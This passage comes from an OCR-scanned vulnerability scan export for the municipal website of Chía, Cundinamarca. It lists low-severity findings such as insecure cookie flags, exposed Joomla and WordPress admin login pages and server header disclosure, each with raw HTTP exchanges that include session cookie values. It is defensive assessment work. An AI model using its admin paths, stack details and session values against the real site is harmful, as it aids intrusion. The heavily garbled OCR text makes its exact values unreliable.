X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC-API - ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip
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Cookie Without HttpOnly Flag Detected

VULNERABILITY PLUGIN ID 98063

Description

The HttpOnly flag assists in the prevention of client side-scripts(such as JavaScript) from accessing and using the cookie.

This can help prevent XSS attacks from targeting the cookies holding the client's session token (setting the HttpOnly flag does
not prevent, nor safeqguard against XSS vulnerabilities themselves).

Solution

The initial step to remedy this would be to determine whether any client-side scripts (such as JavaScript) need to access the

cookie and if not, set the HttpOnly flag.

It should be noted that some older browsers are not compatible with the HttpOnly flag; therefore, setting this flag will not
protect those clients against this form of attack.

See Also

https://www.owasp.org/index.php/HttpOnly

Plugin Details

PUBLICATION DATE
MODIFICATION DATE
FAMILY

SEVERITY
PLUGINID

Risk Information

CVSSV4 BASE SCORE
CVSSV4 VECTOR
CVSSV3 BASE SCORE
CVSSV3 VECTOR
CVSS BASE SCORE
CVSSVECTOR

Reference Information

CWE
WASC
OWASP
CVE
BID

2017-03-31T00:00:00+00:00
2023-12-11T00:00:00+00:00
HTTP Security Header

Low

98063

2.1

CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

3.1

CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:L/1:N/A:N

2.6
CVSS2#AV:N/AC:H/Au:N/C:P/1:N/A:N

1004
Application Misconfiguration

2010-A9, 2013-A6, 2017-A3, 2021-A5
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Cookie Without HttpOnly Flag Detected Instances (2)

VULNERABILITY PLUGIN ID 98063

INSTANCE

https://chia-cundinamarca.gov.co/

INPUT TYPE cookie
INPUT NAME timezone

Identification

PROOF
ti mezone=Et ¢/ UTC; Pat h=/

OUTPUT

The scanner detected a cookie naned 'timezone' set with JavaScript which prevents the HTTPOnly attribute from being

used.

If the cookie is set to handle sensitive information (for exanple session-based infornation),

HTTP et hod.

HTTP Info

REQUEST MADE
CGET https://chia-cundi namar ca. gov. co/ cache/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate
Sec- Fetch-Site: none

Sec- Fetch-User: ?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM,
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124",

Sec- Ch- Ua- Mobi l e: 20

Sec- Ch-Ua- Pl at form "Linux"
Accept: */*

Accept - Language: en-US, en; g=0. 5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: ngi nx

Date: Thu, 19 Dec 2024 02:08:25 GVl

Cont ent - Type: text/htm

Cont ent - Lengt h: 31

Connection: keep-alive

Last-Modified: Sun, 11 Dec 2016 21:51:10 GMI
Accept - Ranges: bytes

INSTANCE
https://chia-cundinamarca.gov.co/

INPUT TYPE cookie
INPUT NAME googtrans

Identification

Web Application Scanning Detailed Scan Export:
SCAN_PORTALES_ALCALDIA_CHIA_https://chia-cundinamarca.gov.co/

“Not - A. Brand"; v="99"

it should be set via the

li ke Gecko) Chrone/124.0.6367.207 Safari/537.36

Page 72 of 348


https://chia-cundinamarca.gov.co/
https://chia-cundinamarca.gov.co/

PROOF
googtrans=/es/fr; Path=/

OUTPUT
The scanner detected a cookie naned 'googtrans' set with JavaScript which prevents the HTTPOnly attri bute from being
used.

If the cookie is set to handle sensitive information (for exanple session-based infornation), it should be set via the
HTTP et hod.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 2?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobbil e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 00:22:39 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-json/>; rel="https://api.w org/", <https://chia-cundi namarca. gov.co/ web
[/ wp-j son/ wp/ v2/ pages/ 1107>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/web/>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzip
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Cookie Without Secure Flag Detected

VULNERABILITY PLUGIN ID 98064

Description

When the ‘secure’ flag is set on a cookie, the browser will prevent it from being sent over a clear text channel (HTTP)and only

allow it to be sent when an encrypted channel is used (HTTPS).

The scanner discovered that a cookie was set by the server without the secure flag being set. Although the initial setting of this
cookie was viaan HTTPS connection, any HTTP link to the same server will result in the cookie being sent in clear text.

Note that if the cookie does not contain sensitive information, the risk of this vulnerability is mitigated.

Solution

If the cookie contains sensitive information, then the server should ensure that the cookie has the 'secure’ flag set.

See Also

https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html#secure-attribute

Plugin Details

PUBLICATION DATE
MODIFICATION DATE
FAMILY

SEVERITY
PLUGINID

Risk Information

CVSSV4 BASE SCORE
CVSSV4 VECTOR
CVSSV3 BASE SCORE
CVSSV3 VECTOR
CVSS BASE SCORE
CVSSVECTOR

Reference Information

CWE
WASC
OWASP
CVE
BID

2017-03-31T00:00:00+00:00
2023-12-11T00:00:00+00:00
HTTP Security Header

Low

98064

2.1

CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

3.1

CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:L/1:N/A:N

2.6

CVSS2#AV:N/AC:H/Au:N/C:P/1:N/A:N

614

Insufficient Transport Layer Protection

2010-A9, 2013-A6, 2017-A3, 2021-A5
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Cookie Without Secure Flag Detected Instances (3)

VULNERABILITY PLUGIN ID 98064

INSTANCE

https://chia-cundinamarca.gov.co/

INPUT TYPE cookie
INPUT NAME timezone

Identification

PROOF
ti mezone=Et ¢/ UTC; Pat h=/

OUTPUT
The scanner detected a cookie naned 'tinezone'

HTTP Info

REQUEST MADE
CGET https://chia-cundi namar ca. gov. co/ cache/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate
Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM,

set with JavaScript w thout the Secure flag set.

Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"

Sec- Ch- Ua- Mobil e: 20

Sec- Ch-Ua- Pl atform "Linux"
Accept: */*

Accept - Language: en-US, en; g=0. 5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: ngi nx

Date: Thu, 19 Dec 2024 02:08:25 GVI

Cont ent - Type: text/htm

Cont ent - Lengt h: 31

Connection: keep-alive

Last-Modified: Sun, 11 Dec 2016 21:51:10 GMVI
Accept - Ranges: bytes

INSTANCE

https://chia-cundinamarca.gov.co/

INPUT TYPE cookie

INPUT NAME 8b58dc30ff9e4328565181726d3386f8

Identification

PROOF

Set - Cooki e : 8b58dc30f f 9e4328565181726d3386f 8=a5b853b5f 45bde4860b15e2765387503; Pat h=/;
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OUTPUT
The scanner detected a cookie naned ' 8b58dc30ff9e4328565181726d3386f8" set through a ' Set-Cookie' header without the
Secure flag set.

HTTP Info

REQUEST MADE
GET /index. php/tramtes-y-servicios/sisbhen HITP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWebkKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; g=0.5

Cooki e: googtrans=/es/it; cpsession=%8aHqQ 26kRGUsy2Bt J%2c4b043945560f da9514b19964b4b5be42; ti nmezone=Etc/UTC

RESPONSE HEADERS

HTTP/ 1.1 503 Service Tenporarily Unavail abl e

Server: nginx

Date: Thu, 19 Dec 2024 04:01:41 GVI

Content-Type: text/htm; charset=utf-8

Transfer - Encodi ng: chunked

Connection: keep-alive

X-Logged-1n: Fal se

X- Cont ent - Power ed- By: K2 v2.8.0 (by Joonl aWr ks)

P3P: CP="NO ADM DEV PSAi COM NAV OUR OTRo STP | ND DEM'

Expi res: Wed, 17 Aug 2005 00: 00: 00 GV

Cache-Control: no-store, no-cache, nust-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Set - Cooki e: 8b58dc30f f 9e4328565181726d3386f 8=a5h853b5f 45bde4860b15€2765387503; path=/; HttpOnly
Last-Modi fied: Thu, 19 Dec 2024 04:01:41 GMVI

INSTANCE
https://chia-cundinamarca.gov.co/

INPUT TYPE cookie
INPUT NAME googtrans

Identification

PROOF
googtrans=/es/fr; Path=/

OUTPUT
The scanner detected a cookie naned 'googtrans' set with JavaScript w thout the Secure flag set.

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"

Sec- Ch- Ua- Mbbil e: ?0
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Sec- Ch-Ua- Pl atform "Linux"
Accept: */*
Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 00:22:39 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/ wp-j son/ wp/ v2/ pages/ 1107>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/web/>; rel=shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tri be/ events/vl/

X- TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip
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Joomla! Administration Panel Login Form Detected

VULNERABILITY PLUGIN ID 98206

Description

Joomla! Administration Panel has been detected on the target web application.

This may present an attacker with an exploit vector which could be leveraged using other techniques, such as a Brute-Force or
Dictionary Attack, allowing an attacker to gain access to administrative functionality.

Solution

Restrict access to administrative functionality using a .htaccess file, limiting access to known IP Addresses.

See Also

https://docs.joomla.org/Htaccess_examples_(security)

Plugin Details

PUBLICATION DATE
MODIFICATION DATE
FAMILY

SEVERITY

PLUGIN ID

Risk Information

CVSSV4 BASE SCORE
CVSSV4 VECTOR
CVSSV3 BASE SCORE
CVSSV3 VECTOR
CVSS BASE SCORE
CVSS VECTOR

Reference Information

CWE
WASC
OWASP
CVE
BID

2018-01-25T00:00:00+00:00
2021-09-07T00:00:00+00:00
Web Applications

Low

98206

6.3
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
3.1

CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N

2.6

CVSS2#AV:N/AC:H/Au:N/C:P/1:N/A:N

16
Application Misconfiguration

2021-A5, 2017-A6, 2013-A5, 2010-A6, 2023-API8, 2018-API7
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Joomla! Administration Panel Login Form Detected Instances (1)

VULNERABILITY PLUGIN ID 98206

INSTANCE

https://chia-cundinamarca.gov.co/index.php/tramites-y-servicios/administrator/index.php

Identification

OUTPUT
Joonl a! admi n panel has been detected at https://chia-cundi namarca. gov. co/ i ndex. php/trami tes-y-servicios/adnini strator
/i ndex. php

HTTP Info

REQUEST MADE
GET /index. php/tranites-y-servicios/adm nistrator/index. php HITP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0. 5

Cooki e: googtrans=/es/pt; cpsession=%3aHqQ 26kRGUsy2Bt J%2c4b043945560f da9514b19964b4b5hbe4?2; ti nezone=Et c/ UTC,

8b58dc30f f 9e4328565181726d3386f 8=c068caled92ch77db0a25d80556aa8ac

RESPONSE HEADERS

HTTP/ 1.1 303 See ot her

Server: nginx

Date: Thu, 19 Dec 2024 04:28:34 GVII

Content - Type: text/htm; charset=utf-8
Content-Length: O

Connection: keep-alive

Locati on: https://chia-cundi namarca. gov. co/ i ndex. php
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WordPress Administration Panel Login Form Detected

VULNERABILITY PLUGIN ID 98207

Description

WordPress Administration Panel has been detected on the target web application.

This may present an attacker with an exploit vector which could be leveraged using other techniques, such as a Brute-Force or
Dictionary Attack, allowing an attacker to gain access to administrative functionality.

Solution

Restrict access to administrative functionality using a .htaccess file, limiting access to known IP Addresses.

See Also

https://codex.wordpress.org/htaccess

Plugin Details

PUBLICATION DATE
MODIFICATION DATE
FAMILY

SEVERITY

PLUGIN ID

Risk Information

CVSSV4 BASE SCORE
CVSSV4 VECTOR
CVSSV3 BASE SCORE
CVSSV3 VECTOR
CVSS BASE SCORE
CVSS VECTOR

Reference Information

CWE
WASC
OWASP
CVE
BID

2018-02-05T00:00:00+00:00
2021-09-07T00:00:00+00:00
Web Applications

Low

98207

6.3
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
3.1

CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N

2.6

CVSS2#AV:N/AC:H/Au:N/C:P/1:N/A:N

16
Application Misconfiguration

2021-A5, 2017-A6, 2013-A5, 2010-A6, 2023-API8, 2018-API7
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WordPress Administration Panel Login Form Detected Instances (1)

VULNERABILITY PLUGIN ID 98207

INSTANCE

https://chia-cundinamarca.gov.co/web/wp-login.php

Identification

OUTPUT
Wor dPress admi n panel has been detected at https://chia-cundi namarca. gov. co/ web/ wp-1 ogi n. php

HTTP Info

REQUEST MADE
GET /web/ wp-1ogin.php HTTP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mdzillal/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM., |ike Gecko) Chromne/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; g=0. 5

Cooki e: googtrans=/es/it

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 01:00:30 GVII

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Expires: Wed, 11 Jan 1984 05:00: 00 GMI

Cache- Control: no-cache, nust-revalidate, max-age=0
X- Franme- Opti ons: SAMEORI G N

Set - Cooki e: wor dpress_test_cooki e=sWP¥R0Cooki e¥®20check; pat h=/web/; secure
Cont ent - Encodi ng: gzi p

Web Application Scanning Detailed Scan Export:

SCAN_PORTALES_ALCALDIA_CHIA_https://chia-cundinamarca.gov.co/ Page 81 of 348


https://chia-cundinamarca.gov.co/web/wp-login.php

HTTP Header Information Disclosure

VULNERABILITY PLUGIN ID 98618

Description

The HTTP headers sent by the remote web server disclose information that can aid an attacker, such as the server version and
technologies used by the web server.

Solution

Modify the HTTP headers of the web server to not disclose detailed information about the underlying web server.

See Also
http://projects.webappsec.org/w/page/13246925/Fingerprinting
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers

Plugin Details
PUBLICATION DATE 2019-06-12T00:00:00+00:00
MODIFICATION DATE 2024-03-25T00:00:00+00:00
FAMILY HTTP Security Header
SEVERITY Low
PLUGIN ID 98618

Risk Information

CVSSV4 BASE SCORE 2.1

CVSSV4 VECTOR CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
CVSSV3 BASE SCORE 3.1

CVSSV3 VECTOR CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:L/1:N/A:N

CVSS BASE SCORE 2.6

CVSSVECTOR CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N

Reference Information

CWE 200

WASC Information Leakage

OWASP 2017-A6, 2021-A1, 2013-A5, 2010-A6, 2023-API8, 2019-API7
CVE -

BID =
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HTTP Header Information Disclosure Instances (25)

VULNERABILITY PLUGIN ID 98618

INSTANCE

https://chia-cundinamarca.gov.co/web/directorio/

Identification

OUTPUT
The follow ng header information disclosures have been detected on https://chia-cundi namarca. gov. co/ web/ directorio/:

- Server: nginx

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ di rectori o/

REQUEST HEADERS

Referer: https://chia-cundi namarca. gov. co/ web/

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: sane-origin

Sec- Fetch-User: 2?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobil e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; g=0. 5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 00: 46:26 GMVI

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w. org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ pages/ 566>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
[/ web/ ?p=566>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/09/16/conozca-los-canales-de-atencion-de-las-empresas-prestadoras-de-

servicios-publicos/

Identification

OUTPUT
The follow ng header information disclosures have been detected on https://chia-cundi namarca. gov. co/ web/ 2024/ 09/ 16
/ conozca- | os-canal es- de- at enci on- de- | as- enpr esas- pr est ador as- de- servi ci os- publicos/:

- Server: nginx

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/directorio/
https://chia-cundinamarca.gov.co/web/2024/09/16/conozca-los-canales-de-atencion-de-las-empresas-prestadoras-de-servicios-publicos/
https://chia-cundinamarca.gov.co/web/2024/09/16/conozca-los-canales-de-atencion-de-las-empresas-prestadoras-de-servicios-publicos/

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 09/ 16/ conozca- | os- canal es- de- at enci on- de- | as- enpr esas- pr est ador as- de-
servici os-publicos/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobil e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 05:51:53 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ post s/ 19440>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/ web/ ?p=19440>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIG N https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE

https://chia-cundinamarca.gov.co/controlpanel/

Identification

OUTPUT
The follow ng header information disclosures have been detected on https://chia-cundi namarca. gov. co/ control panel /:

- Server: nginx

HTTP Info

REQUEST MADE
GET /control panel/ HTTP/ 1.1

REQUEST HEADERS

Host: chi a-cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5

Cooki e: googtrans=/es/it; cpsession=%3aHqQ 26kRGUsy2Bt J¥%2c4b043945560f da9514b19964b4b5be42

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 01:57:07 GVl
Cont ent - Type: text/htn

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/controlpanel/

Transf er - Encodi ng: chunked
Connection: keep-alive
Vary: Accept - Encodi ng

Cont ent - Encodi ng: gzi p

INSTANCE

https://chia-cundinamarca.gov.co/web/2023/12/29/control-interno-disciplinario/

Identification

OUTPUT
The foll owi ng header information disclosures have been detected on https://chia-cundi namarca. gov. co/ web/ 2023/ 12/ 29
/control -interno-disciplinariol:

- Server: nginx

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ control -i nt er no-di sci pl i nari o/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec-Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec-Ch-Ua: "Chrom uni';v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbi l e: ?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 05:37:32 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 616>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/web/ ?p=616>; rel =shortlink

X- TEC- APl - VERSI ON:  v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tri be/ events/vl/

X-TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE

https://chia-cundinamarca.gov.co/web/alcaldia/

Identification

OUTPUT
The follow ng header information disclosures have been detected on https://chia-cundi namarca. gov. co/ web/ al cal di a/:

- Server: nginx

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2023/12/29/control-interno-disciplinario/
https://chia-cundinamarca.gov.co/web/alcaldia/

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ al cal di a/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mbzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chromi unt';v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobi l e: 20

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 02:45:09 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encoding

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ pages/ 49>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
/ web/ ?p=49>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X- TEC- APl - ORIG N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web

Identification

OUTPUT
The follow ng header information disclosures have been detected on https://chia-cundi namarca. gov. co/ web:

- Server: nginx

HTTP Info

REQUEST MADE
GET /web HTTP/ 1.1

REQUEST HEADERS

Host: chi a-cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; q=0.5

Cooki e: googtrans=/es/it; cpsession=%3aHqQ 26kRGUsy2Bt J¥%2c4b043945560f da9514b19964b4b5be42; ti mezone=Etc/ UTC

RESPONSE HEADERS

HTTP/ 1.1 301 Moved Permanently

Server: nginx

Date: Thu, 19 Dec 2024 02:31:53 GVI

Cont ent - Type: text/htm; charset=iso-8859-1
Cont ent - Lengt h: 245

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web

Connection: keep-alive
Location: https://chia-cundi namar ca. gov. co/ web/

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/12/18/chia-se-destaca-en-gestion-social-gracias-a-blanca-donoso/

Identification

OUTPUT
The follow ng header information disclosures have been detected on https://chia-cundi namarca. gov. co/ web/ 2024/ 12/ 18/ chi a-
se-dest aca- en- gestion-soci al -graci as- a- bl anca- donoso/ :

- Server: nginx

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 12/ 18/ chi a- se- dest aca- en- gesti on-soci al - graci as- a- bl anca- donoso/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch- User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Myzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobbil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 07:08:06 GMVI

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/ web
[ wp-j son/ wp/ v2/ posts/ 22424>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[ web/ ?p=22424>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/participa/

Identification

OUTPUT
The foll ow ng header information disclosures have been detected on https://chia-cundi namarca. gov. co/ web/ parti ci pa/:

- Server: nginx

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2024/12/18/chia-se-destaca-en-gestion-social-gracias-a-blanca-donoso/
https://chia-cundinamarca.gov.co/web/participa/

HTTP Info

REQUEST MADE
GET https://chi a-cundi nanar ca. gov. co/ web/ parti ci pa/

REQUEST HEADERS

